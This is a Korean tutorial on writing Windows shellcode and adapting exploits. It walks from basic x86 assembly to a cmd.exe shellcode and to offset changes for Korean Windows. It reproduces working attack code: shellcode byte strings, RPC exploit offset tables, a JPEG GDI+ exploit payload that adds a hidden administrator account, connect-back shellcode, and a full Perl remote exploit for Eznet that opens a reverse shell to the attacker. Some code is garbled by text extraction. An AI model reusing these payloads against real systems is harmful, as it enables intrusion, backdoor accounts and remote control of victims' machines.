Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com
Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6 2.1 기본윈도우쉘코드... 6 2.2 한국판윈도우쉘코드만들기... 11 2.3 유니버셜쉘코드만들기... 17 3. 참조문서및참고사이트... 20 3.1 X86 ASSEMBLY LANGUAGE REFERENCE MANUAL... 20 3.2 AMESIANX S JPEG EXPLOIT... 20 3.3 WINDOWS BIND SHELLCODE ANALYSIS BLKSAINT...20 3.4 SHELLCODER S HANDBOOK... 20 2/20
1. 기본개념과도구 1.1 윈도우쉘코드 윈도우쉘코드는윈도우시스템에서특정시스템명령을실행할수있는기계어코드를말한다. 일반적으로가장기본적인윈도우쉘코드는 cmd.exe 를실행하는기계어코드이며, 그외에도리 버스텔넷의기능을기계어로구현하는쉘코드가있으며, 다운로드 & EXEC 쉘코드도있다. 크게일반적으로 Exploit 코드에서사용되는쉘코드는다음과같은것들이있다. Backdoor port open 쉘코드 => 시스템에특정백도어를오픈하는기능을구현한쉘코드 Reverse Telnet 쉘코드 => 리버스텔넷기능을구현하는쉘코드 Download & Exec 쉘코드 => 특정사이트에서프로그램을다운로드받은후실행하는쉘코드 * Metasploit 에있는쉘코드 PayLoad 들을보면다음과같은것들이있다. Shellcode Payload win32_adduser.pm 기능 시스템에특정사용자를추가하는쉘코드 win32_bind.pm 특정포트를오픈 (bind) 한다. Win32_bind_dllinjection.pm win32_meterpreter.pm 특정포트를열고프로세스메모리에 DLL 을인젝션 Name : Windows Bind Meterpreter DLL Inject Desc : Listen for connection and inject the meterpreter server into the remote process win32_bind_stg.pm 특정포트를열고쉘을떨군다. Win32_bind_stg_upexec.pm win32_bind_vncinjection.pm win32_exec.pm win32_reverse.pm 이외에도열라리많다. Name: Windows Staged Bind Upload/Execute Desc : Listen for connection then upload and exec file Name: Windows Bind VNC Server DLL Inject Desc : Listen for connection and inject a VNC server into the remote process Name : Windows Execute Command Desc : Execute an arbitrary command Name : Windows Reverse Shell Desc : Connect back to attacker and spawn a shell 3/20
1.2 윈도우메모리 LayOut 윈도우 x86 아키텍쳐의메모리 LayOut 정도는알아야한다. 접근불가능한영역 0x00000000 ~ Win32 프로세스영역 0x0000FFFF 0x00010000 ~ 0x7FFFEFFF 커널과실행부 HAL 부트드라이버프로세스페이지테이블하이퍼스페이스시스템캐시페이징풀비페이징풀 80000000 C0000000 C0800000 FFFFFFFF 1.3 레지스터 윈도우가기본적으로 x86 아키텍쳐기반에서동작하기때문에 x86 CPU 에서사용하는레지스터에 대해서기본적인것들은알아야한다. EAX EBX ECX EDX ESP EBP ESI EDI EIP 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) General Register 32-bit (long) 스택포인터 32-bit (long) 프레임포인터 32-bit (long) 소스 index 레지스터 32-bit (long) 목적지 index 레지스터명령어포인터 1.4 기본어셈블리어명령어 4/20
윈도우쉘코드가 x86 아키텍쳐 CPU 의어셈블리어를이용하여작성하거나또는분석을한다. 윈도우는어셈블리어가 Intel x86 AT&T 형식이다. Intel x86 에서어셈블리어표기법은다음과같다. 명령어목적지, 소스 ( 소스와목적지위치가맨날헷갈린다.) IDS!! 로외우자. MOV ECX, 14H = ECX 에 14h 를넣어라. 실제로함수가만들어질때어셈블리어코드를보면다음과같다. 00401070 push ebp // ESP = 0065FDF8 EBP = 0065FE38 00401071 mov ebp,esp // ESP = 0065FDF8 EBP = 0065FDF8 00401073 sub esp,50h // ESP = 0065FDA8 EBP = 0065FDF8 00401076 push ebx // ESP = 0065FDA4 EBP = 0065FDF8 00401077 push esi // ESP = 0065FDA0 EBP = 0065FDF8 00401078 push edi // ESP = 0065FD9C EBP = 0065FDF8 // EDI = 00000000 00401079 lea edi,[ebp-50h] // ESP = 0065FD9C EBP = 0065FDF8 // EDI = 0065FDA8 - EDI에할당된 ESP값이들어감 0040107C mov ecx,14h // ECX = 00000014 00401081 mov eax,0cccccccch // EAX = CCCCCCCC 기본적으로알아야하는어셈블리어명령어에는다음과같은것들이있다. 어셈코드 MOV PUSH JMP CALL 설명레지스터끼리값복사, 값을레지스터에복사 MOV EBP, ESP : ESP 값을 EBP에복사스택에값을저장 PUSH EBX : 스택에 EBX 값을넣는다. 특정주소로점프특정함수나프로시져를호출 자주사용되는 ( 필요한 ) 어셈코드에해당하는 OPCODE는다음과같다. 어셈코드 OPCODE 어셈코드 OPCODE JMP ESP FF E4 CALL ESP FF D4 JMP EAX FF E0 CALL EAX FF D0 JMP EBX FF E3 CALL EBX FF D3 JMP ECX FF E1 CALL ECX FF D1 JMP EDX FF E2 CALL EDX FF D2 JMP 0X E9 OPCODE CALL ADDRESS E8 OPCODE EB 0X JMP 0X : 0X 만큼아래로점프 EB 17 JMP short 현재프로그램. 현재프로그램주소 +17 어셈블리어에서는함수를호출할때뒤에인자먼저하나씩스택에 push 한후함수를 call 하는 5/20
형태를가진다. 실제로간단한함수를어셈블리어에서어떻게처리하는지살펴보면다음과같다. --C 코드 -- Func(A, B, C); -- ASM 코드 push C push B push A call Func Visual Studio.NET 에서간단한 WinExec() 함수를컴파일한결과는다음과같다. WinExec( cmd, SW_SHOW); 00411A3E mov esi, esp 00411A40 push 5 00411A42 push offset string cmd" (42401Ch) 00411A47 call dword ptr [ imp WinExec@8 (42B180h) test.0042401c 에가면값이 63 6D 64 로되어있다. 위와같이먼저뒤에있는인자부터스택에 PUSH 한후함수를호출하는것을알수있다. 2. 쉘코드만들기 2.1 기본윈도우쉘코드 가장기본적인 cmd.exe를만드는쉘코드를작성해본다. 기본윈도우쉘코드는한마디로말해 WinExec(cmd.exe, SW_SHOW); 이명령어를기계어로만들어서실행하면되는것이다. ( 리눅스의 /bin/sh) 과마찬가지. 저것을만들기위해서는 VC++ 로는 WinExec함수를바로쓸수있으나기계어코드로만들기위해서는어셈블리어로작성해야지된다. ( 어셈블리어가기계어코드와 1:1 매칭되기때문이다.) 어셈블리어로작성하기위해서 WinExec함수의주소를알아야하는데이것은로컬에서는간단하게 depends나 LoadLibrary, GetProcAddress 함수를써서주소를가져올수있다. 그럼간단한윈도우로컬쉘코드를만드는단계는다음과같다. 1. 쉘코드의기능을수행할코드를어셈블리어로작성한다. ( 기본적으로 WinExec( cmd", SW_SHOW); ) 2. 어셈블리어를컴파일하여서기계어를뽑는다. 그기계어모아놓으면쉘코드된다. 6/20
( 여기서국내해커 li0n님의이야기는, 아시아권에서는쉘코드에 Unicode로처리가안되는문자열이들어오면쉘코드는동작을하지않는단다. (0x80보다높은문자가들어오면안된다. ) 이유는커널단에서 W함수를쓰는데 ( 예를들어 CreateProcessW(), W(widecharecter function) 은아규먼트로유니코드만을받기때문이다. 즉 CreateProcessA() 는 ASCII를받는데그것이내부적으로다시 CreateProcessW() 함수로넘어가게되는것이다. 그래서입력값에유니코드만들어가야하는데, 쉘코드에서유니코드가아닌문자열이들어가면 3f 문자열로처리를해버린단다.) 열라간단하지않은가. 1번째단계 push 5 push 64 // d push 6d // m push 63 // c call WinExec() s address 어셈블리어작성하여서했으나.. 아래와같은현상이발생함 int main() { asm { return 0; push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax => 도스창은뜨지만에러남.. Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention. (ESP 의값이저장이안되어있어서에러남.. 흠..) asm { push esp push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' 7/20
push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax pop ebp pop esp => 도스창은뜸. test.exe 의 0x00411a56 에처리되지않은예외가있습니다. 0xC0000005: 0x00646d63 위치를읽는동안액세스위반이발생했습니다. asm { push esp push ebp mov ebp, esp xor edi, edi push edi mov byte ptr[ebp-02h], 64h // byte 'd' mov byte ptr[ebp-03h], 6dh // byte 'm' mov byte ptr[ebp-04h], 63h // byte 'c' push edi mov byte ptr[ebp-08h], 05h push edi lea eax, [ebp-04h] push eax mov eax, 0x7C86114D call eax pop esp pop esp test.exe 의 0x00411a52 에처리되지않은예외가있습니다. 0xC0000005: 0x00646d63 위치를읽는동안액세스위반이발생했습니다. test.exe 의 0x00411a52 에첫째예외가있습니다. 0xC0000005: 0x00646d63 위치를읽는동안액세스위반이발생했습니다. 00411A10 /> 55 PUSH EBP 00411A11. 8BEC MOV EBP,ESP 00411A13. 81EC C0000000 SUB ESP,0C0 00411A19. 53 PUSH EBX 00411A1A. 56 PUSH ESI 00411A1B. 57 PUSH EDI 00411A1C. 8DBD 40FFFFFF LEA EDI,DWORD PTR SS:[EBP-C0] 00411A22. B9 30000000 MOV ECX,30 00411A27. B8 CCCCCCCC MOV EAX,CCCCCCCC 00411A2C. F3:AB REP STOS DWORD PTR ES:[EDI] 00411A2E. 54 PUSH ESP 00411A2F. 55 PUSH EBP 00411A30. 8BEC MOV EBP,ESP 00411A32. 33FF XOR EDI,EDI 00411A34. 57 PUSH EDI 00411A35. C645 FC 63 MOV BYTE PTR SS:[EBP-4],63 00411A39. C645 FD 6D MOV BYTE PTR SS:[EBP-3],6D 00411A3D. C645 FE 64 MOV BYTE PTR SS:[EBP-2],64 00411A41. 57 PUSH EDI ; /ShowState => SW_HIDE 00411A42. C645 F8 03 MOV BYTE PTR SS:[EBP-8],3 ; 00411A46. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] ; 00411A49. 50 PUSH EAX ; CmdLine 8/20
00411A4A. B8 4D11867C MOV EAX,kernel32.WinExec ; 00411A4F. FFD0 CALL EAX ; \WinExec 00411A51. 5C POP ESP 00411A52. 5C POP ESP // 이부분에서예외발생함.. 00411A53. 33C0 XOR EAX,EAX 00411A55. 5F POP EDI 00411A56. 5E POP ESI 00411A57. 5B POP EBX 00411A58. 81C4 C0000000 ADD ESP,0C0 00411A5E. 3BEC CMP EBP,ESP 00411A60. E8 42F9FFFF CALL test.004113a7 00411A65. 8BE5 MOV ESP,EBP 00411A67. 5D POP EBP 00411A68 \. C3 RETN test.exe 의 0x00411a5f 에처리되지않은예외가있습니다. 0xC0000005: 0x00130088 위치를기록하는동안액세스위반이발생했습니다. ( 왜이러는지 -_-);;;;; => 디버깅뜯어보면.. 마지막에스택에서 pop esp 할때 0x00646d63 값이들어감.. 위에서만들어진쉘코드 \x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x45\xf8\x03 \x8d\x45\xfc\x50\xb8\x4d\x11\x86\x7c\xff\xd0\x5c\x5c 위에서만들어진쉘코드를가지고테스트해보자. #include<stdio.h> unsigned char shellcode[] = \x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x 45\xF8\x03\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x5C\x5C ; void main() { int *ret; ret = (int*)&ret + 2; (*ret) = (int)shellcode; => warning C4311: ' 형식변환 ' : 'char *' 에서 'int'( 으 ) 로포인터가잘립니다. 이렇게하는방법이있고.. #include <stdio.h> #include <windows.h> char shellcode[] = "\x54\x55\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x57\xc6\x 45\xF8\x03\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x5C\x5C"; void main() { int *code; code=(int*)shellcode; asm { jmp code; 9/20
이런방법이더간단하게바로쉘을실행할수있게된다. [ 그림 1] 작성한윈도우쉘코드검증화면 10/20
[ 그림 2] 작성한윈도우쉘코드검증성공 2.2 한국판윈도우쉘코드만들기 Exploit Code 에사용된쉘코드중에서영문판에서맞게만들어진쉘코드가있다. 이것을한국판 에맞게쉘코드를수정해야할필요성이생길때가있다. 대표적인영문판윈도우에서동작하고한국판윈도우에서는동작하지않았던쉘코드를사용한 Exploit 취약점은 RPC ( 처음에 ), JPEG GDI+,... 등이있다. 외국에서나온 Exploit 을실행했을때안되는경우는코드가원래되지않던지, 아님 OFFSET 이다르기때문이다. 예를들어 MS03-026 RPC 취약점에이용된 Exploit Code 를보면다음과같이각운영체제버 전마다 OFFSET 이다르기때문에각각을다정해놓은경우도있다. RPC Exploit Code 중에서 ----- /* Myam add OFFSETS*/ char win2knosppl[] = "\x4d\x3f\xe3\x77"; /* polish win2k nosp ver 5.00.2195*/ char win2ksp3pl[] = "\x29\x2c\xe4\x77"; /* polish win2k sp3 - ver 5.00.2195*/ char win2ksp4sp[] = "\x13\x3b\xa5\x77"; /* spanish win2k sp4 */ char win2knospeng1[] = "\x74\x16\xe8\x77"; /* english win2k nosp 1 */ 11/20
char win2knospeng2[] = "\x6d\x3f\xe3\x77"; /* english win2k nosp 2 */ char win2ksp1eng[] = "\xec\x29\xe8\x77"; /* english win2k sp1 */... char win2ksp3ger[] = "\x7a\x88\x2e\x77"; /* german win2k sp3 */ char win2ksp2jap[] = "\x2b\x49\xdf\x77"; /* japanese win2k sp2 */ char win2ksp1kr[] = "\x8b\x89\xe5\x77"; /* Korea win2k sp1 same offset */ char win2ksp2kr[] = "\x2b\x49\xdf\x77"; /* Korea win2k sp2 */ char winxpsp1eng2[] = "\xdb\x37\xd7\x77"; /* english xp sp1 2 */ char winxpsp2eng[] = "\xbd\x73\x7d\x77"; /* english xp sp2 */ /* Test this offset ( Japanese Windows 2000 Pro SP2 ) : 0x77DF492B Windows 2000 (no-service-pack) English 0x77e33f6d 0x77f92a9b 0x77e2afc5 0x772254b0 win2k3 0x77E829E3 / 0x77E83587 kokanin win2k sp3 */ unsigned char sc[]= "\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\x29\x4c\xdf\x77" //sp4 //"\x29\x2c\xe2\x77"//0x77e22c29 저런주소가의미하는것특정 DLL 에서 JMP EBX+24 와같은특정명령어가있는곳의주소. 초기에 Exploit Code 는위와같이주소값을각 OS 버전이나나라별로각각달라서맞춰줬어야 했다. 왜냐하면각 OS 버전에따라 DLL 의버전이다르기때문에 DLL 에있는 OPCODE 의주소 도다르기때문이었다. 그래서유니버셜한주소를찾기위해많은해커들이노력하고연구했다. 그결과일면 Magic Address 라는유니버셜한주소를찾을수있게되었고, 모든윈도우버전과 나라에공통적으로공격이가능해져서나라별로 OFFSET 을찾는삽질이거의없어진걸로안다. unsigned long offsets [] = { 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba, ; 이런유니버셜한주소를찾는방법중대표적인게 PEB, TOP STACK, TOP SEH 등을이용하는 방법이있다. ( 공부더해봐야함 ). 그리고 OS 버전마다 TOP SEH 가다를수도있다. (?) 유니버 셜주소를이용해서쉘코드를만드는방법은이다음장인 유니버셜쉘코드만들기 에서자세히 살펴보기로한다. MS05-039 RPCSS 취약점에이용된 Exploit Code 를보면다음과같은부분이있다. "\xeb\x1e\x01\x00"// "\x4c\x14\xec\x77"// FOR CN SP3/SP4+-MS03-26 TOP SEH FOR cn w2k+sp4,must modify to SEH of your target's os 12/20
TOP SEH 주소를맞게변경해야한다. MS04-028 JPGE GDI+ Exploit Shellcode 비교분석 MS04-028 JPEG GDI+ 취약점을익스플로잇한외국코드와국내해커 AmesianX 님이한글 윈도우버전에맞게변경한쉘코드를비교분석하면서좀더알아보자. 실제로 shellcode 가잘못되어서동작하지않는익스플로잇과, 그것을고쳐서동작하게끔만드는것을정리. MS04-028 FoToZ 가만든익스플로잇에이용된쉘코드 ( 영문윈도우시스템 ) char shellcode[]= "\x68" // push "cmd " "\x8b\xc4" // mov eax,esp "\x50" // push eax "\xb8\x44\x80\xc2\x77" // mov eax,77c28044h (address of system() on WinXP SP1) "\xff\xd0" // call eax ; cmd 를실행하기위해 WinXP SP1 에있는 system() 함수의주소를이용한것을알수있다. char shellcode[]= "\xeb\x02\xff\xd9" // \xeb\x02 is jmp to \xfc\xe8\x56... ( in order to skip \xff\xd9 ) // 0xD9FF is prevent for drawing failure.. "\xfc\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45" "\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3" "\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74" "\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" "\xe8\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59" "\x64\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68" "\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\xeb\x18\x53\x68\x98\xfe\x8a\x0e" "\xff\xd6\xff\xd0\x53\x68\xef\xce\xe0\x60\xff\xd6\x6a\x00\xff\xd0" "\xff\xd0\x6a\x00\xe8\xe1\xff\xff\xff" "cmd.exe /c net user RootClub KoreanHacker /ADD && " // Let's Modify ~! "net localgroup Administrators RootClub /ADD" // yeah.. "\x00"; // using slide view, above shellcode is non-click executed.. very critical... // but the other shellcode required click..(right button click then preview menu) // you can make the shellcode using sctune.c utility.. // just add that shellcode header "\xeb\x02\xff\xd9" // testing is click right button then preview press... or double click... char shellcode2[] = // Generated by z utility ( Example... ) // IP: 192.168.1.1 // PORT: 31337 // Windows XP SP1 (KOR EDITION) "\xeb\x02\xff\xd9" // <-- point "\x33\xc0\x33\xc9\xb1\x58\x2b\xe1\x8b\xfc\xf3\xaa\x8b\xec\x66\xb8" "\x6c\x6c\x66\x50\xb8\x33\x32\x2e\x64\x50\xb8\x77\x73\x32\x5f\x50" "\x8b\xc4\x50\xb8\x61\xd9\xe3\x77\xff\xd0\x8b\xe5\x89\x04\x24\x66" 13/20
"\xbb\x74\x41\x66\x53\xbb\x6f\x63\x6b\x65\x53\xbb\x57\x53\x41\x53" "\x53\x8b\xdc\x53\x50\xbb\x32\xb3\xe3\x77\xff\xd3\x8b\xe5\x33\xdb" "\x53\x53\x53\xb3\x06\x53\xb3\x01\x53\x43\x53\xff\xd0\x8b\xe5\x33" "\xdb\xb3\x14\x03\xe3\xb3\x44\x89\x1c\x24\xb3\x2c\x03\xe3\x33\xc9" "\xfe\xc5\x89\x0c\x24\xb3\x0c\x03\xe3\x89\x04\x24\x44\x44\x44\x44" "\x89\x04\x24\x44\x44\x44\x44\x89\x04\x24\x8b\xe5\x03\xe3\x68\xc0" "\xa8\x01\x01\x66\xbb\x7a\x69\x90\x90\x66\x53\x33\xdb\x43\x43\x66" "\x53\x8b\xe5\x8b\x1c\x24\x89\x04\x24\x66\xb8\x74\x74\x32\xe4\x66" "\x50\x66\xb8\x65\x63\x66\x50\xb8\x63\x6f\x6e\x6e\x50\x8b\xc4\x50" "\x53\xbb\x32\xb3\xe3\x77\xff\xd3\x8b\xe5\x33\xdb\xb3\x10\x53\x45" "\x45\x45\x45\x55\x4d\x4d\x4d\x4d\x8b\xdd\xff\x33\xff\xd0\x8b\xe5" "\x66\xb8\x65\x65\x32\xe4\x66\x50\x66\xb8\x65\x78\x66\x50\xb8\x63" "\x6d\x64\x2e\x50\x8b\xc4\x8b\xcd\x51\x33\xdb\xb3\x14\x03\xcb\x51" "\x33\xdb\x53\x53\x53\x51\x53\x53\x50\x53\xb8\xbc\x1b\xe2\x77\xff" "\xd0\x50\xb8\xfd\x98\xe3\x77\xff\xd0"; // Unhandled Exception Filter Overwirtes.. char header1[]= "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x02\x00\x00\x64" "\x00\x64\x00\x00\xff\xec\x00\x11\x44\x75\x63\x6b\x79\x00\x01\x00" "\x04\x00\x00\x00\x0a\x00\x00\xff\xee\x00\x0e\x41\x64\x6f\x62\x65" "\x00\x64\xc0\x00\x00\x00\x01" "\xff\xfe\x00\x01" // overflow trigger "\x00\x14\x10\x10" "\xeb\x17" // jump to setnops1 "\x19\x27\x17\x17\x27\x32" "\x9e\x5c\x05\x78" // RPCRT4.DLL - CALL DWORD PTR[EDI+74] (Address) "\xb4\x73\xe9\x77" // Top SEH (Address) - you can find the piece of source code on the internet... "\x26\x2e\x3e\x35\x35\x35\x35\x35\x35"; 위 Exploit Code 에서는 RPCRT4.DLL 안에 CALL DWORD PTR[EDI+74] 명령어에해당하는 OPCODE 가 0x78055C9E 에있고, 시스템의 TOP SEH 주소는 0x77E973B4 에있다고수정한 것이다. 윈도우에서는 Buffer Overflow 가발생하면 Exception Handler 가자동으로실행해서예외처리를 하게된다. 이때핵심포인터는 Exception Handler 가발생할때그주소에쉘코드가있는곳의 주소를덮어쓰면 Exception Handler 가발생할때 Exception Handler 가실행되지않고쉘코드 가있는곳이실행되는것이다. 간단하게도식화하면 14/20
TOP SEH 주소를찾아서그주소에다가쉘코드가있는주소를넣으면되는간단한구조다. 쉘코드가있는주소는 Shellcoder s Handbook에서 CALL DWORD PTR[EDI+74] 와같은역할을하는 OPCODE [FF 57 74] 가있는주소를덮어씌우면된다고한다. ( 어떻게 CALL DWORD PTR[EDI+74] 위치에 ShellCode가존재한다는것을알았을까??) CALL DOWD PTR [EDI+0x74] 의 OPCODE 는 FF57 74 이다. 아.. JMP나 CALL 하는이유는.. 쉘코드가있는주소를가리키기위해서 JMP나 CALL을이용하는거다. 예를들어쉘코드가있는주소를특정레지스터리 (EBX) 가가리키고있다면그리고 EBX값을변경할수있다면셀코드가있는주소를어렵게추측해서찍지않아도, JMP EBX나 CALL EBX와같은역할을하는주소를집어넣으면그주소에있는코드 (JMP EBX와같은 ) 가실행되면서쉘코드가실행되는거다. 15/20
스택버퍼오버플로우에서는단순히 RET 만변경하여서쉘코드위치를가리키게하면되는간단한 개념이다. 쉘코드는주로스택에저장되기때문에스택에있는위치를 RET 주소로변경하여야 하고그변경되는주소에 CALL ESP 나 JMP ESP 와같은명령어를실행하는주소로변경하면된다. 정리!!!! 쉘코드동작원리! Overflow 가발생하면, 쉘코드가포함되어있는메모리영역을 EIP(RET) 가가리켜야하는데정확한쉘코드위치를모르기때문에쉘코드가있을만한곳을가리키는레지스터나스택포인터로흐름을변경해야함. 그렇기때문에 CALL ESP, JMP ESP, JMP EBX 와같은 OPCODE 가있는주소를이용해서 RET 를변경해야한다. OFFSET 을변경해야하는이유! 위쉘코드동작원리에서보는바와같이 RET 에쉘코드를가리키는특정 OPCODE 주소를지정해야하는데시스템마다 DLL 의버전이다르고 DLL 의버전이다르면, 그안에있는 OPCODE 들을가리키고있는주소도다르기때문에각 OS 버전과언어에맞게 OFFSET 주소를변경해야한다. ( 정확하게말하자면, 쉘코드자체를변경하는것이아니라, 익스플로잇코드에있는 OFFSET 주소를변경해야하는게더정확한표현 ) 16/20
2.3 유니버셜쉘코드만들기 유니버셜한쉘코드를만들어본다. 유니버셜쉘코드를만드는방법 PEB (Process Environment Block) 를이용하는방법유니버셜쉘코드를만드는방법 Kernel32.dll 주소를찾기위해 (Kernel32.dll 안에 WinExec() 함수가존재함 ) 아래그림은 Kernel32.dll 주소를찾는과정을나타낸것이다. 아래는 DLL 에서함수주소를찾는과정이다. 모든프로세스는 FS:[0x30] 에 PEB 구조체가존재함 PEB : 프로세스힙, 바이너리이미지정보등을가짐. Linked List 형태 17/20
예 Eznet v3.5.0 remote stack overflow Universal Exploit #!/usr/bin/perl -w #########C###O###R###O###M###P###U###T###E###R########### # [Crpt] universal ez v3.3 < v3.5 remote exploit by kralor [Crpt] # #-------------------------------------------------------------------------------------------------# # versions tested & not vulnerables: v3.0 v3.1 v3.2 # # versions tested & vulnerables: v3.3 v3.4 v3.5 # # Cryptso.dll contains a 'static' jmp esp in eznetwork pack from v3.3 to v3.5 # # It is a trivial exploit, jumping to esp, then at esp we jump backward to # # finally reach the shellcode. The shellcode gives a reverse remote shell. # # Universal shellcode coded by kralor with the PEB technic. # ######W#W#W#.#C#O#R#O#M#P#U#T#E###R###.###N###E###T###### use IO::Socket; print "\r\n\t [Crpt] ez v3.3 < v3.5 remote exploit by kralor [Crpt]\r\n"; print "\t\twww.coromputer.net && undernet #coromputer\r\n\r\n"; if(@argv<3 @ARGV>3) { print "syntax: ".$0." <victim> <your_ip> <your_port>\r\n"; exit; print "[+] Connecting to ".$ARGV[0]."\t..."; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0], PeerPort=>"80"); if(!$sock) { print "Error\r\n"; exit; print "Done\r\n"; # 0xffe4 jmp esp in Cryptso.dll (v3.3 v3.4 v3.5?0x1004c72b) # 0xffffedffe9 jmp back ($ - 4'608) $eip = "\x2b\xc7\x04\x10"; $jmp_back = "\xe9\xff\xed\xff\xff"; // JMP FFFDFFFF # universal reverse remote shell using PEB, coded by kralor. $shellc0dei = "\xeb\x02\xeb\x0f\x66\x81\xec\x04\x08\x8b\xec\x83\xec\x50\xe8\xef". "\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\x9e\x01\x80\x33\x95". "\x43\xe2\xfa\x7e\xe6\xa6\x4e\x26\xa5\xf1\x1e\x96\x1e\xd5\x99\x1e". "\xdd\x99\x1e\x54\x1e\xc9\xb1\x9d\x1e\xe5\xa5\x96\xe1\xb1\x91\xad". "\x8b\xe0\xd9\x1e\xd5\x8d\x1e\xcd\xa9\x96\x4d\x1e\xce\xed\x96\x4d". "\x1e\xe6\x89\x96\x65\xc3\x1e\xe6\xb1\x96\x65\xc3\x1e\xc6\xb5\x96". "\x45\x1e\xce\x8d\xde\x1e\xa1\x0f\x96\x65\x96\xe1\xb1\x81\x1e\xa3". "\xae\xe1\xb1\x8d\xe1\x9f\xde\xb6\x4e\xe0\x7f\xcd\xcd\xa6\x55\x56". "\xca\xa6\x5c\xf3\x1e\x99\xca\xca\x1e\xa9\x1a\x18\x91\x92\x56\x1e". "\x8d\x1e\x56\xae\x54\xe0\x08\x56\xa6\x4e\xfd\xec\xd0\xed\xd4\xff". "\x9f\xff\xde\xc6\x7d\xe9\x6a\x6a\x6a\xa6\x5c\x52\xd0\x69\xe2\xe6". "\xa7\xca\xf3\x52\xd0\x95\xa6\xa7\x1d\xd8\x97\x1e\x48\xf3\x16\x7e". "\x91\xc4\xc4\xc6\x6a\x45\xa6\x4e\x1c\xd0\x91\xfd\xe7\xf0\xe6\xe6". "\xff\x9f\xff\xde\xc6\x7d\xde\x6a\x6a\x6a\x1e\xc8\x91\xa6\x6a\x52". "\xd0\x69\xc2\xc6\xd4\xc6\x52\xd0\x95\xfa\xf6\xfe\xf0\x1c\xe8\x91". "\xf3\x52\xd0\x91\xe1\xd4\x1e\x58\xf3\x16\x7c\x91\xc4\xc6\x6a\x45". "\xa6\x4e\xc6\xc6\xc6\xc6\xd6\xc6\xd6\xc6\x6a\x45\x1c\xd0\x31\xfd". "\xfb\xf0\xf6\xe1\xff\x96\xff\xc6\xff\x97\x7d\x93\x6a\x6a\x6a\xa6". "\x4e\x26\x97\x1e\x40\xf3\x1c\x8f\x96\x46\xf3\x52\x97"; $shellc0deii = "\xff\x85\xc0\x6a\xe0\x31\x6a\x45\xa6". "\x4e\xfd\xf0\xe6\xe6\xd4\xff\x9f\xff\xde\xc6\x7d\x40\x6b\x6a\x6a". "\xa6\x4e\x52\xd0\x39\xd1\x95\x95\x95\x1c\xc8\x25\x1c\xc8\x2d\x1c". "\xc8\x21\x1c\xc8\x29\x1c\xc8\x55\x1c\xc8\x51\x1c\xc8\x5d\x52\xd0". "\x4d\x94\x94\x95\x95\x1c\xc8\x49\x1c\xc8\x75\x1e\xc8\x31\x1c\xc8". 18/20
"\x71\x1c\xc8\x7d\x1c\xc8\x79\xa6\x4e\x18\xd8\x65\xc4\x18\xd8\x39". "\xc4\xc6\xc6\xc6\xff\x94\xc6\xc6\xf3\x52\xd0\x69\xf6\xf8\xf3\x52". "\xd0\x6b\xf1\x95\x1d\xc8\x6a\x18\xc0\x69\xc7\xc6\x6a\x45\xa6\x4e". "\xfd\xed\xfc\xe1\xc5\xff\x94\xff\xde\xc6\x7d\xf3\x6b\x6a\x6a\x6a". "\x45\x95"; my $tip = inet_aton($argv[1]); my $paddr = sockaddr_in($argv[2], $tip); $paddr=substr($paddr,2,6); $paddr=$paddr^"\x95\x95\x95\x95\x95\x95"; my $rport=substr($paddr,0,2); my $rip=substr($paddr,2,4); $request exit; = "GET /SwEzModule.dll?operation=login&autologin=". "\x90"x100.$shellc0dei.$rport."\x96\x46\x52\x97".$rip.$shellc0deii. "\x90"x4103.$eip."\x90"x4.$jmp_back." HTTP/1.0\r\n\r\n"; print $sock $request; print "[+] Sending evil request\t..."; close($sock); print "Done\r\n"; TOP SEH (Structed Exception Handler) 를이용하는방법유니버셜쉘코드를만드는방법 Kernel32.dll 주소를찾기위해 (Kernel32.dll 안에 WinExec() 함수가존재함 ) * TOP SEH 